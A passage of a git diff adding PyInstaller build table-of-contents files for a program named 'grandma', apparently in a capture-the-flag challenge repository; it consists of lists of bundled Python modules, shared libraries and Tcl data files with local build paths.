'PYMODULE'), + ('shlex', '/usr/lib/python3.10/shlex.py', 'PYMODULE'), + ('mimetypes', '/usr/lib/python3.10/mimetypes.py', 'PYMODULE'), + ('http.cookiejar', '/usr/lib/python3.10/http/cookiejar.py', 'PYMODULE'), + ('http', '/usr/lib/python3.10/http/__init__.py', 'PYMODULE'), + ('ssl', '/usr/lib/python3.10/ssl.py', 'PYMODULE'), + ('http.client', '/usr/lib/python3.10/http/client.py', 'PYMODULE'), + ('stringprep', '/usr/lib/python3.10/stringprep.py', 'PYMODULE'), + ('tracemalloc', '/usr/lib/python3.10/tracemalloc.py', 'PYMODULE'), + ('data', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/data.py', + 'PYMODULE'), + ('struct', '/usr/lib/python3.10/struct.py', 'PYMODULE'), + ('socket', '/usr/lib/python3.10/socket.py', 'PYMODULE'), + ('selectors', '/usr/lib/python3.10/selectors.py', 'PYMODULE'), + ('threading', '/usr/lib/python3.10/threading.py', 'PYMODULE'), + ('_threading_local', '/usr/lib/python3.10/_threading_local.py', 'PYMODULE'), + ('tempfile', '/usr/lib/python3.10/tempfile.py', 'PYMODULE'), + ('subprocess', '/usr/lib/python3.10/subprocess.py', 'PYMODULE'), + ('signal', '/usr/lib/python3.10/signal.py', 'PYMODULE')], + [('libz.so.1', '/lib/x86_64-linux-gnu/libz.so.1', 'BINARY'), + ('libexpat.so.1', '/lib/x86_64-linux-gnu/libexpat.so.1', 'BINARY'), + ('lib-dynload/_contextvars', + '/usr/lib/python3.10/lib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_decimal', + '/usr/lib/python3.10/lib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_hashlib', + '/usr/lib/python3.10/lib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_lzma', + '/usr/lib/python3.10/lib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_bz2', + '/usr/lib/python3.10/lib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/resource', + '/usr/lib/python3.10/lib-dynload/resource.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_opcode', + '/usr/lib/python3.10/lib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/termios', + '/usr/lib/python3.10/lib-dynload/termios.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_ssl', + '/usr/lib/python3.10/lib-dynload/_ssl.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_multibytecodec', + '/usr/lib/python3.10/lib-dynload/_multibytecodec.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_jp', + '/usr/lib/python3.10/lib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_kr', + '/usr/lib/python3.10/lib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_iso2022', + '/usr/lib/python3.10/lib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_cn', + '/usr/lib/python3.10/lib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_tw', + '/usr/lib/python3.10/lib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_hk', + '/usr/lib/python3.10/lib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('libmpdec.so.3', '/lib/x86_64-linux-gnu/libmpdec.so.3', 'BINARY'), + ('libcrypto.so.3', '/lib/x86_64-linux-gnu/libcrypto.so.3', 'BINARY'), + ('liblzma.so.5', '/lib/x86_64-linux-gnu/liblzma.so.5', 'BINARY'), + ('libbz2.so.1.0', '/lib/x86_64-linux-gnu/libbz2.so.1.0', 'BINARY'), + ('libssl.so.3', '/lib/x86_64-linux-gnu/libssl.so.3', 'BINARY'), + ('libpython3.10.so.1.0', + '/lib/x86_64-linux-gnu/libpython3.10.so.1.0', + 'BINARY')], + [], + [], + [('base_library.zip', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/base_library.zip', + 'DATA')], + []) diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/EXE-00.toc b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/EXE-00.toc new file mode 100644 index 0000000..a5547a5 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/EXE-00.toc @@ -0,0 +1,111 @@ +('/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/dist/grandma', + True, + False, + False, + None, + None, + False, + False, + None, + True, + True, + False, + None, + None, + None, + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/grandma.pkg', + [('PYZ-00.pyz', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/PYZ-00.pyz', + 'PYZ'), + ('struct', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/struct.pyc', + 'PYMODULE'), + ('pyimod01_archive', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod01_archive.pyc', + 'PYMODULE'), + ('pyimod02_importers', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod02_importers.pyc', + 'PYMODULE'), + ('pyimod03_ctypes', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod03_ctypes.pyc', + 'PYMODULE'), + ('pyiboot01_bootstrap', + '/home/robbe/.local/lib/python3.10/site-packages/PyInstaller/loader/pyiboot01_bootstrap.py', + 'PYSOURCE'), + ('pyi_rth_inspect', + '/home/robbe/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_inspect.py', + 'PYSOURCE'), + ('pyi_rth_subprocess', + '/home/robbe/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_subprocess.py', + 'PYSOURCE'), + ('grandma', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/grandma.py', + 'PYSOURCE'), + ('libz.so.1', '/lib/x86_64-linux-gnu/libz.so.1', 'BINARY'), + ('libexpat.so.1', '/lib/x86_64-linux-gnu/libexpat.so.1', 'BINARY'), + ('lib-dynload/_contextvars', + '/usr/lib/python3.10/lib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_decimal', + '/usr/lib/python3.10/lib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_hashlib', + '/usr/lib/python3.10/lib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_lzma', + '/usr/lib/python3.10/lib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_bz2', + '/usr/lib/python3.10/lib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/resource', + '/usr/lib/python3.10/lib-dynload/resource.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_opcode', + '/usr/lib/python3.10/lib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/termios', + '/usr/lib/python3.10/lib-dynload/termios.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_ssl', + '/usr/lib/python3.10/lib-dynload/_ssl.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_multibytecodec', + '/usr/lib/python3.10/lib-dynload/_multibytecodec.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_jp', + '/usr/lib/python3.10/lib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_kr', + '/usr/lib/python3.10/lib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_iso2022', + '/usr/lib/python3.10/lib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_cn', + '/usr/lib/python3.10/lib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_tw', + '/usr/lib/python3.10/lib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_hk', + '/usr/lib/python3.10/lib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('libmpdec.so.3', '/lib/x86_64-linux-gnu/libmpdec.so.3', 'BINARY'), + ('libcrypto.so.3', '/lib/x86_64-linux-gnu/libcrypto.so.3', 'BINARY'), + ('liblzma.so.5', '/lib/x86_64-linux-gnu/liblzma.so.5', 'BINARY'), + ('libbz2.so.1.0', '/lib/x86_64-linux-gnu/libbz2.so.1.0', 'BINARY'), + ('libssl.so.3', '/lib/x86_64-linux-gnu/libssl.so.3', 'BINARY'), + ('libpython3.10.so.1.0', + '/lib/x86_64-linux-gnu/libpython3.10.so.1.0', + 'BINARY'), + ('base_library.zip', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/base_library.zip', + 'DATA')], + [], + False, + False, + 1668684658, + [('run', + '/home/robbe/.local/lib/python3.10/site-packages/PyInstaller/bootloader/Linux-64bit-intel/run', + 'EXECUTABLE')]) diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/PKG-00.toc b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/PKG-00.toc new file mode 100644 index 0000000..ff1585c --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/PKG-00.toc @@ -0,0 +1,104 @@ +('/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/grandma.pkg', + {'BINARY': 1, + 'DATA': 1, + 'EXECUTABLE': 1, + 'EXTENSION': 1, + 'PYMODULE': 1, + 'PYSOURCE': 1, + 'PYZ': 0, + 'SPLASH': 1}, + [('PYZ-00.pyz', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/PYZ-00.pyz', + 'PYZ'), + ('struct', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/struct.pyc', + 'PYMODULE'), + ('pyimod01_archive', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod01_archive.pyc', + 'PYMODULE'), + ('pyimod02_importers', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod02_importers.pyc', + 'PYMODULE'), + ('pyimod03_ctypes', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod03_ctypes.pyc', + 'PYMODULE'), + ('pyiboot01_bootstrap', + '/home/robbe/.local/lib/python3.10/site-packages/PyInstaller/loader/pyiboot01_bootstrap.py', + 'PYSOURCE'), + ('pyi_rth_inspect', + '/home/robbe/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_inspect.py', + 'PYSOURCE'), + ('pyi_rth_subprocess', + '/home/robbe/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_subprocess.py', + 'PYSOURCE'), + ('grandma', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/grandma.py', + 'PYSOURCE'), + ('libz.so.1', '/lib/x86_64-linux-gnu/libz.so.1', 'BINARY'), + ('libexpat.so.1', '/lib/x86_64-linux-gnu/libexpat.so.1', 'BINARY'), + ('lib-dynload/_contextvars', + '/usr/lib/python3.10/lib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_decimal', + '/usr/lib/python3.10/lib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_hashlib', + '/usr/lib/python3.10/lib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_lzma', + '/usr/lib/python3.10/lib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_bz2', + '/usr/lib/python3.10/lib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/resource', + '/usr/lib/python3.10/lib-dynload/resource.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_opcode', + '/usr/lib/python3.10/lib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/termios', + '/usr/lib/python3.10/lib-dynload/termios.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_ssl', + '/usr/lib/python3.10/lib-dynload/_ssl.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_multibytecodec', + '/usr/lib/python3.10/lib-dynload/_multibytecodec.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_jp', + '/usr/lib/python3.10/lib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_kr', + '/usr/lib/python3.10/lib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_iso2022', + '/usr/lib/python3.10/lib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_cn', + '/usr/lib/python3.10/lib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_tw', + '/usr/lib/python3.10/lib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('lib-dynload/_codecs_hk', + '/usr/lib/python3.10/lib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so', + 'EXTENSION'), + ('libmpdec.so.3', '/lib/x86_64-linux-gnu/libmpdec.so.3', 'BINARY'), + ('libcrypto.so.3', '/lib/x86_64-linux-gnu/libcrypto.so.3', 'BINARY'), + ('liblzma.so.5', '/lib/x86_64-linux-gnu/liblzma.so.5', 'BINARY'), + ('libbz2.so.1.0', '/lib/x86_64-linux-gnu/libbz2.so.1.0', 'BINARY'), + ('libssl.so.3', '/lib/x86_64-linux-gnu/libssl.so.3', 'BINARY'), + ('libpython3.10.so.1.0', + '/lib/x86_64-linux-gnu/libpython3.10.so.1.0', + 'BINARY'), + ('base_library.zip', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/base_library.zip', + 'DATA')], + False, + False, + False, + [], + None, + None, + None) diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/PYZ-00.pyz b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/PYZ-00.pyz new file mode 100644 index 0000000..e296ce8 Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/PYZ-00.pyz differ diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/PYZ-00.toc b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/PYZ-00.toc new file mode 100644 index 0000000..03fc6f7 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/PYZ-00.toc @@ -0,0 +1,130 @@ +('/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/PYZ-00.pyz', + [('inspect', '/usr/lib/python3.10/inspect.py', 'PYMODULE'), + ('importlib', '/usr/lib/python3.10/importlib/__init__.py', 'PYMODULE'), + ('importlib.abc', '/usr/lib/python3.10/importlib/abc.py', 'PYMODULE'), + ('typing', '/usr/lib/python3.10/typing.py', 'PYMODULE'), + ('contextlib', '/usr/lib/python3.10/contextlib.py', 'PYMODULE'), + ('importlib._abc', '/usr/lib/python3.10/importlib/_abc.py', 'PYMODULE'), + ('importlib._bootstrap_external', + '/usr/lib/python3.10/importlib/_bootstrap_external.py', + 'PYMODULE'), + ('importlib.metadata', + '/usr/lib/python3.10/importlib/metadata/__init__.py', + 'PYMODULE'), + ('importlib.metadata._itertools', + '/usr/lib/python3.10/importlib/metadata/_itertools.py', + 'PYMODULE'), + ('importlib.metadata._functools', + '/usr/lib/python3.10/importlib/metadata/_functools.py', + 'PYMODULE'), + ('importlib.metadata._collections', + '/usr/lib/python3.10/importlib/metadata/_collections.py', + 'PYMODULE'), + ('importlib.metadata._meta', + '/usr/lib/python3.10/importlib/metadata/_meta.py', + 'PYMODULE'), + ('importlib.metadata._adapters', + '/usr/lib/python3.10/importlib/metadata/_adapters.py', + 'PYMODULE'), + ('importlib.metadata._text', + '/usr/lib/python3.10/importlib/metadata/_text.py', + 'PYMODULE'), + ('email.message', '/usr/lib/python3.10/email/message.py', 'PYMODULE'), + ('email.policy', '/usr/lib/python3.10/email/policy.py', 'PYMODULE'), + ('email.contentmanager', + '/usr/lib/python3.10/email/contentmanager.py', + 'PYMODULE'), + ('email.quoprimime', '/usr/lib/python3.10/email/quoprimime.py', 'PYMODULE'), + ('string', '/usr/lib/python3.10/string.py', 'PYMODULE'), + ('email.headerregistry', + '/usr/lib/python3.10/email/headerregistry.py', + 'PYMODULE'), + ('email._header_value_parser', + '/usr/lib/python3.10/email/_header_value_parser.py', + 'PYMODULE'), + ('email.iterators', '/usr/lib/python3.10/email/iterators.py', 'PYMODULE'), + ('email.generator', '/usr/lib/python3.10/email/generator.py', 'PYMODULE'), + ('copy', '/usr/lib/python3.10/copy.py', 'PYMODULE'), + ('random', '/usr/lib/python3.10/random.py', 'PYMODULE'), + ('statistics', '/usr/lib/python3.10/statistics.py', 'PYMODULE'), + ('decimal', '/usr/lib/python3.10/decimal.py', 'PYMODULE'), + ('_pydecimal', '/usr/lib/python3.10/_pydecimal.py', 'PYMODULE'), + ('contextvars', '/usr/lib/python3.10/contextvars.py', 'PYMODULE'), + ('fractions', '/usr/lib/python3.10/fractions.py', 'PYMODULE'), + ('numbers', '/usr/lib/python3.10/numbers.py', 'PYMODULE'), + ('hashlib', '/usr/lib/python3.10/hashlib.py', 'PYMODULE'), + ('logging', '/usr/lib/python3.10/logging/__init__.py', 'PYMODULE'), + ('pickle', '/usr/lib/python3.10/pickle.py', 'PYMODULE'), + ('pprint', '/usr/lib/python3.10/pprint.py', 'PYMODULE'), + ('dataclasses', '/usr/lib/python3.10/dataclasses.py', 'PYMODULE'), + ('_compat_pickle', '/usr/lib/python3.10/_compat_pickle.py', 'PYMODULE'), + ('bisect', '/usr/lib/python3.10/bisect.py', 'PYMODULE'), + ('email._encoded_words', + '/usr/lib/python3.10/email/_encoded_words.py', + 'PYMODULE'), + ('base64', '/usr/lib/python3.10/base64.py', 'PYMODULE'), + ('getopt', '/usr/lib/python3.10/getopt.py', 'PYMODULE'), + ('gettext', '/usr/lib/python3.10/gettext.py', 'PYMODULE'), + ('email.charset', '/usr/lib/python3.10/email/charset.py', 'PYMODULE'), + ('email.encoders', '/usr/lib/python3.10/email/encoders.py', 'PYMODULE'), + ('email.base64mime', '/usr/lib/python3.10/email/base64mime.py', 'PYMODULE'), + ('email._policybase', '/usr/lib/python3.10/email/_policybase.py', 'PYMODULE'), + ('email.header', '/usr/lib/python3.10/email/header.py', 'PYMODULE'), + ('email.errors', '/usr/lib/python3.10/email/errors.py', 'PYMODULE'), + ('email.utils', '/usr/lib/python3.10/email/utils.py', 'PYMODULE'), + ('email._parseaddr', '/usr/lib/python3.10/email/_parseaddr.py', 'PYMODULE'), + ('calendar', '/usr/lib/python3.10/calendar.py', 'PYMODULE'), + ('datetime', '/usr/lib/python3.10/datetime.py', 'PYMODULE'), + ('_strptime', '/usr/lib/python3.10/_strptime.py', 'PYMODULE'), + ('quopri', '/usr/lib/python3.10/quopri.py', 'PYMODULE'), + ('uu', '/usr/lib/python3.10/uu.py', 'PYMODULE'), + ('optparse', '/usr/lib/python3.10/optparse.py', 'PYMODULE'), + ('textwrap', '/usr/lib/python3.10/textwrap.py', 'PYMODULE'), + ('zipfile', '/usr/lib/python3.10/zipfile.py', 'PYMODULE'), + ('py_compile', '/usr/lib/python3.10/py_compile.py', 'PYMODULE'), + ('lzma', '/usr/lib/python3.10/lzma.py', 'PYMODULE'), + ('_compression', '/usr/lib/python3.10/_compression.py', 'PYMODULE'), + ('bz2', '/usr/lib/python3.10/bz2.py', 'PYMODULE'), + ('shutil', '/usr/lib/python3.10/shutil.py', 'PYMODULE'), + ('tarfile', '/usr/lib/python3.10/tarfile.py', 'PYMODULE'), + ('gzip', '/usr/lib/python3.10/gzip.py', 'PYMODULE'), + ('importlib.util', '/usr/lib/python3.10/importlib/util.py', 'PYMODULE'), + ('email', '/usr/lib/python3.10/email/__init__.py', 'PYMODULE'), + ('email.parser', '/usr/lib/python3.10/email/parser.py', 'PYMODULE'), + ('email.feedparser', '/usr/lib/python3.10/email/feedparser.py', 'PYMODULE'), + ('csv', '/usr/lib/python3.10/csv.py', 'PYMODULE'), + ('importlib.readers', '/usr/lib/python3.10/importlib/readers.py', 'PYMODULE'), + ('importlib._bootstrap', + '/usr/lib/python3.10/importlib/_bootstrap.py', + 'PYMODULE'), + ('argparse', '/usr/lib/python3.10/argparse.py', 'PYMODULE'), + ('importlib.machinery', + '/usr/lib/python3.10/importlib/machinery.py', + 'PYMODULE'), + ('dis', '/usr/lib/python3.10/dis.py', 'PYMODULE'), + ('opcode', '/usr/lib/python3.10/opcode.py', 'PYMODULE'), + ('ast', '/usr/lib/python3.10/ast.py', 'PYMODULE'), + ('_py_abc', '/usr/lib/python3.10/_py_abc.py', 'PYMODULE'), + ('getpass', '/usr/lib/python3.10/getpass.py', 'PYMODULE'), + ('nturl2path', '/usr/lib/python3.10/nturl2path.py', 'PYMODULE'), + ('ftplib', '/usr/lib/python3.10/ftplib.py', 'PYMODULE'), + ('netrc', '/usr/lib/python3.10/netrc.py', 'PYMODULE'), + ('shlex', '/usr/lib/python3.10/shlex.py', 'PYMODULE'), + ('mimetypes', '/usr/lib/python3.10/mimetypes.py', 'PYMODULE'), + ('http.cookiejar', '/usr/lib/python3.10/http/cookiejar.py', 'PYMODULE'), + ('http', '/usr/lib/python3.10/http/__init__.py', 'PYMODULE'), + ('ssl', '/usr/lib/python3.10/ssl.py', 'PYMODULE'), + ('http.client', '/usr/lib/python3.10/http/client.py', 'PYMODULE'), + ('stringprep', '/usr/lib/python3.10/stringprep.py', 'PYMODULE'), + ('tracemalloc', '/usr/lib/python3.10/tracemalloc.py', 'PYMODULE'), + ('data', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/data.py', + 'PYMODULE'), + ('struct', '/usr/lib/python3.10/struct.py', 'PYMODULE'), + ('socket', '/usr/lib/python3.10/socket.py', 'PYMODULE'), + ('selectors', '/usr/lib/python3.10/selectors.py', 'PYMODULE'), + ('threading', '/usr/lib/python3.10/threading.py', 'PYMODULE'), + ('_threading_local', '/usr/lib/python3.10/_threading_local.py', 'PYMODULE'), + ('tempfile', '/usr/lib/python3.10/tempfile.py', 'PYMODULE'), + ('subprocess', '/usr/lib/python3.10/subprocess.py', 'PYMODULE'), + ('signal', '/usr/lib/python3.10/signal.py', 'PYMODULE')]) diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/Tree-00.toc b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/Tree-00.toc new file mode 100644 index 0000000..005dcdf --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/Tree-00.toc @@ -0,0 +1,407 @@ +('/usr/share/tcltk/tcl8.6', + 'tcl', + ['demos', '*.lib', 'tclConfig.sh'], + 'DATA', + [('tcl/tclIndex', '/usr/share/tcltk/tcl8.6/tclIndex', 'DATA'), + ('tcl/package.tcl', '/usr/share/tcltk/tcl8.6/package.tcl', 'DATA'), + ('tcl/tclAppInit.c', '/usr/share/tcltk/tcl8.6/tclAppInit.c', 'DATA'), + ('tcl/init.tcl', '/usr/share/tcltk/tcl8.6/init.tcl', 'DATA'), + ('tcl/history.tcl', '/usr/share/tcltk/tcl8.6/history.tcl', 'DATA'), + ('tcl/auto.tcl', '/usr/share/tcltk/tcl8.6/auto.tcl', 'DATA'), + ('tcl/tm.tcl', '/usr/share/tcltk/tcl8.6/tm.tcl', 'DATA'), + ('tcl/clock.tcl', '/usr/share/tcltk/tcl8.6/clock.tcl', 'DATA'), + ('tcl/parray.tcl', '/usr/share/tcltk/tcl8.6/parray.tcl', 'DATA'), + ('tcl/safe.tcl', '/usr/share/tcltk/tcl8.6/safe.tcl', 'DATA'), + ('tcl/word.tcl', '/usr/share/tcltk/tcl8.6/word.tcl', 'DATA'), + ('tcl/msgs/cs.msg', '/usr/share/tcltk/tcl8.6/msgs/cs.msg', 'DATA'), + ('tcl/msgs/fr.msg', '/usr/share/tcltk/tcl8.6/msgs/fr.msg', 'DATA'), + ('tcl/msgs/en_ie.msg', '/usr/share/tcltk/tcl8.6/msgs/en_ie.msg', 'DATA'), + ('tcl/msgs/en_be.msg', '/usr/share/tcltk/tcl8.6/msgs/en_be.msg', 'DATA'), + ('tcl/msgs/es_do.msg', '/usr/share/tcltk/tcl8.6/msgs/es_do.msg', 'DATA'), + ('tcl/msgs/mr_in.msg', '/usr/share/tcltk/tcl8.6/msgs/mr_in.msg', 'DATA'), + ('tcl/msgs/en_ca.msg', '/usr/share/tcltk/tcl8.6/msgs/en_ca.msg', 'DATA'), + ('tcl/msgs/ga.msg', '/usr/share/tcltk/tcl8.6/msgs/ga.msg', 'DATA'), + ('tcl/msgs/es_py.msg', '/usr/share/tcltk/tcl8.6/msgs/es_py.msg', 'DATA'), + ('tcl/msgs/de.msg', '/usr/share/tcltk/tcl8.6/msgs/de.msg', 'DATA'), + ('tcl/msgs/es_ar.msg', '/usr/share/tcltk/tcl8.6/msgs/es_ar.msg', 'DATA'), + ('tcl/msgs/da.msg', '/usr/share/tcltk/tcl8.6/msgs/da.msg', 'DATA'), + ('tcl/msgs/es_gt.msg', '/usr/share/tcltk/tcl8.6/msgs/es_gt.msg', 'DATA'), + ('tcl/msgs/es_pe.msg', '/usr/share/tcltk/tcl8.6/msgs/es_pe.msg', 'DATA'), + ('tcl/msgs/en_sg.msg', '/usr/share/tcltk/tcl8.6/msgs/en_sg.msg', 'DATA'), + ('tcl/msgs/af.msg', '/usr/share/tcltk/tcl8.6/msgs/af.msg', 'DATA'), + ('tcl/msgs/lt.msg', '/usr/share/tcltk/tcl8.6/msgs/lt.msg', 'DATA'), + ('tcl/msgs/eu.msg', '/usr/share/tcltk/tcl8.6/msgs/eu.msg', 'DATA'), + ('tcl/msgs/sw.msg', '/usr/share/tcltk/tcl8.6/msgs/sw.msg', 'DATA'), + ('tcl/msgs/eu_es.msg', '/usr/share/tcltk/tcl8.6/msgs/eu_es.msg', 'DATA'), + ('tcl/msgs/nb.msg', '/usr/share/tcltk/tcl8.6/msgs/nb.msg', 'DATA'), + ('tcl/msgs/gl_es.msg', '/usr/share/tcltk/tcl8.6/msgs/gl_es.msg', 'DATA'), + ('tcl/msgs/ru.msg', '/usr/share/tcltk/tcl8.6/msgs/ru.msg', 'DATA'), + ('tcl/msgs/bn_in.msg', '/usr/share/tcltk/tcl8.6/msgs/bn_in.msg', 'DATA'), + ('tcl/msgs/fa_ir.msg', '/usr/share/tcltk/tcl8.6/msgs/fa_ir.msg', 'DATA'), + ('tcl/msgs/uk.msg', '/usr/share/tcltk/tcl8.6/msgs/uk.msg', 'DATA'), + ('tcl/msgs/ar_lb.msg', '/usr/share/tcltk/tcl8.6/msgs/ar_lb.msg', 'DATA'), + ('tcl/msgs/es_co.msg', '/usr/share/tcltk/tcl8.6/msgs/es_co.msg', 'DATA'), + ('tcl/msgs/zh_hk.msg', '/usr/share/tcltk/tcl8.6/msgs/zh_hk.msg', 'DATA'), + ('tcl/msgs/es_uy.msg', '/usr/share/tcltk/tcl8.6/msgs/es_uy.msg', 'DATA'), + ('tcl/msgs/bg.msg', '/usr/share/tcltk/tcl8.6/msgs/bg.msg', 'DATA'), + ('tcl/msgs/el.msg', '/usr/share/tcltk/tcl8.6/msgs/el.msg', 'DATA'), + ('tcl/msgs/gv_gb.msg', '/usr/share/tcltk/tcl8.6/msgs/gv_gb.msg', 'DATA'), + ('tcl/msgs/th.msg', '/usr/share/tcltk/tcl8.6/msgs/th.msg', 'DATA'), + ('tcl/msgs/mt.msg', '/usr/share/tcltk/tcl8.6/msgs/mt.msg', 'DATA'), + ('tcl/msgs/nn.msg', '/usr/share/tcltk/tcl8.6/msgs/nn.msg', 'DATA'), + ('tcl/msgs/nl.msg', '/usr/share/tcltk/tcl8.6/msgs/nl.msg', 'DATA'), + ('tcl/msgs/gv.msg', '/usr/share/tcltk/tcl8.6/msgs/gv.msg', 'DATA'), + 